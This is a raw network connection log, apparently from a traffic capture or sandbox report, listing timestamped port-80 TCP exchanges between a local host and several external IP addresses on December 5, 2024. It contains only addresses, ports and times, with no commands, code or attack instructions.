                                                                                    Dec 5, 2024 18:23:19.787955999 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:19.882124901 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:20.897551060 CET4998880192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:21.018131018 CET8049988108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:21.018738985 CET4998880192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:21.037583113 CET4998880192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:21.157566071 CET8049988108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:22.212438107 CET8049988108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:22.212701082 CET8049988108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:22.213001966 CET4998880192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:22.549666882 CET4998880192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:23.569773912 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:23.689575911 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:23.689666986 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:23.705734015 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:23.825674057 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:23.826186895 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:25.154179096 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:25.154301882 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:25.154315948 CET8049989108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:25.154366970 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:25.154409885 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:25.221780062 CET4998980192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:26.243665934 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:26.363725901 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:26.363869905 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:26.373758078 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:26.494774103 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:27.570624113 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:27.570705891 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:27.570725918 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:27.570805073 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:27.570828915 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:27.574182987 CET4999080192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:27.693974972 CET8049990108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:33.131637096 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:33.251597881 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:33.251679897 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:33.270757914 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:33.390624046 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.520936012 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.521176100 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.521190882 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.521596909 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.522115946 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.522130013 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.523236990 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.523256063 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.523268938 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.523346901 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.523346901 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.524247885 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.524264097 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.529607058 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.641835928 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.641896009 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.645715952 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.645757914 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.713298082 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.713356018 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.713392019 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.715783119 CET8049991203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:34.715867043 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:34.786294937 CET4999180192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:35.805576086 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:35.925683022 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:35.926130056 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:35.940587997 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:36.060641050 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.161142111 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.161313057 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.161325932 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.161798954 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.162010908 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.162024021 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.162410021 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.162868977 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.162889004 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.162900925 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.163068056 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.163768053 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.163784027 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.163870096 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.282001972 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.282155037 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.282274961 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.286218882 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.352909088 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.352978945 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.353017092 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.355669022 CET8049992203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:37.355807066 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:37.456577063 CET4999280192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:38.476537943 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:38.599682093 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:38.599858046 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:38.615895033 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:38.736778975 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:38.737793922 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.921849966 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.921869040 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.921881914 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.921941042 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:39.922852039 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.922888041 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:39.922977924 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.923437119 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.923450947 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.923474073 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:39.924549103 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.924567938 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.924580097 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:39.924586058 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:39.924616098 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:40.043957949 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.044193983 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.044239044 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:40.048227072 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.096446991 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:40.114617109 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.116142988 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.116192102 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:40.117233992 CET8049993203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:40.117280006 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:40.127827883 CET4999380192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:41.146760941 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:41.269402981 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:41.269495964 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:41.282140970 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:41.403765917 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.528531075 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.528764009 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.528778076 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.529123068 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.529742956 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.529756069 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.530646086 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.530659914 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.530677080 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.530742884 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.530742884 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.531657934 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.531671047 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.531783104 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.648910999 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.649133921 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.653124094 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.653354883 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.720597029 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.720756054 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.723242044 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:42.723526001 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.726100922 CET4999480192.168.2.11203.161.42.73
                                                                                    Dec 5, 2024 18:23:42.845868111 CET8049994203.161.42.73192.168.2.11
                                                                                    Dec 5, 2024 18:23:48.319761038 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:48.440706968 CET8049995161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:48.447647095 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:48.459714890 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:48.579574108 CET8049995161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:49.707118988 CET8049995161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:49.707181931 CET8049995161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:49.707226992 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:49.707243919 CET8049995161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:49.707283020 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:49.971558094 CET4999580192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:50.990412951 CET4999680192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:51.110308886 CET8049996161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:51.111895084 CET4999680192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:51.126473904 CET4999680192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:51.246464968 CET8049996161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:52.359424114 CET8049996161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:52.359560966 CET8049996161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:52.359870911 CET8049996161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:52.365293026 CET4999680192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:52.627856016 CET4999680192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:53.648241043 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:53.768136024 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:53.768215895 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:53.789093018 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:53.909082890 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:53.909104109 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:55.017924070 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:55.018146992 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:55.018345118 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:55.105050087 CET8049997161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:55.107826948 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:55.299707890 CET4999780192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:56.321712971 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:56.441724062 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:56.449611902 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:56.459681988 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:56.584142923 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:57.696247101 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:57.696386099 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:57.696399927 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:57.696516037 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:57.696973085 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:23:57.697017908 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:57.701078892 CET4999880192.168.2.11161.97.168.245
                                                                                    Dec 5, 2024 18:23:57.822652102 CET8049998161.97.168.245192.168.2.11
                                                                                    Dec 5, 2024 18:24:03.426018953 CET4999980192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:03.643902063 CET804999981.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:03.643999100 CET4999980192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:03.677978992 CET4999980192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:03.799423933 CET804999981.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:04.964699984 CET804999981.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:04.964803934 CET804999981.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:04.964978933 CET4999980192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:05.190546989 CET4999980192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:06.209137917 CET5000080192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:06.332792997 CET805000081.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:06.337660074 CET5000080192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:06.349773884 CET5000080192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:06.474283934 CET805000081.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:07.697377920 CET805000081.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:07.697545052 CET805000081.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:07.697602034 CET5000080192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:07.862396955 CET5000080192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:08.881933928 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:09.001804113 CET805000181.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:09.001987934 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:09.016716957 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:09.136534929 CET805000181.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:09.136625051 CET805000181.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:10.297638893 CET805000181.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:10.347665071 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:10.403537035 CET805000181.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:10.403696060 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:10.518639088 CET5000180192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:11.540034056 CET5000280192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:11.659921885 CET805000281.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:11.660042048 CET5000280192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:11.670469999 CET5000280192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:11.791063070 CET805000281.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:12.952560902 CET805000281.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:12.952760935 CET805000281.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:12.952946901 CET5000280192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:12.956674099 CET5000280192.168.2.1181.2.196.19
                                                                                    Dec 5, 2024 18:24:13.077639103 CET805000281.2.196.19192.168.2.11
                                                                                    Dec 5, 2024 18:24:18.285700083 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:18.407054901 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:18.413697958 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:18.424629927 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:18.547281981 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:19.577130079 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:19.577418089 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:19.577435970 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:19.577474117 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:19.577526093 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:19.859824896 CET8050003104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:19.859901905 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:19.940438032 CET5000380192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:20.959748983 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:21.079641104 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:21.079866886 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:21.094317913 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:21.214317083 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:22.328912973 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:22.329004049 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:22.329060078 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:22.331248045 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:22.331489086 CET8050004104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:22.331561089 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:22.596645117 CET5000480192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:23.617468119 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:23.737565041 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:23.737652063 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:23.757848978 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:23.877722979 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:23.877758026 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:24.926726103 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:24.926939964 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:24.927102089 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:24.928144932 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:24.928461075 CET8050005104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:24.928931952 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:25.268510103 CET5000580192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:26.287117958 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:26.408881903 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:26.409214020 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:26.418328047 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:26.538650036 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:27.605523109 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:27.605679989 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:27.605693102 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:27.605792046 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:27.606323957 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:27.606363058 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:27.612252951 CET5000680192.168.2.11104.21.34.103
                                                                                    Dec 5, 2024 18:24:27.731988907 CET8050006104.21.34.103192.168.2.11
                                                                                    Dec 5, 2024 18:24:35.500180006 CET5000780192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:35.619853973 CET8050007206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:35.619949102 CET5000780192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:35.638494968 CET5000780192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:35.759350061 CET8050007206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:37.137554884 CET8050007206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:37.138329029 CET8050007206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:37.141886950 CET5000780192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:37.143573999 CET5000780192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:38.163218021 CET5000880192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:38.283135891 CET8050008206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:38.283221006 CET5000880192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:38.305718899 CET5000880192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:38.428088903 CET8050008206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:39.797306061 CET8050008206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:39.797564983 CET8050008206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:39.797616959 CET5000880192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:39.815466881 CET5000880192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:40.834445953 CET5000980192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:40.959062099 CET8050009206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:40.959225893 CET5000980192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:40.973918915 CET5000980192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:41.097532034 CET8050009206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:41.101169109 CET8050009206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:42.480501890 CET8050009206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:42.487235069 CET5000980192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:43.506741047 CET5001080192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:43.627842903 CET8050010206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:43.627931118 CET5001080192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:43.645044088 CET5001080192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:43.764929056 CET8050010206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:45.145584106 CET8050010206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:45.145612001 CET8050010206.238.89.119192.168.2.11
                                                                                    Dec 5, 2024 18:24:45.148641109 CET5001080192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:45.148641109 CET5001080192.168.2.11206.238.89.119
                                                                                    Dec 5, 2024 18:24:45.268565893 CET8050010206.238.89.119192.168.2.11
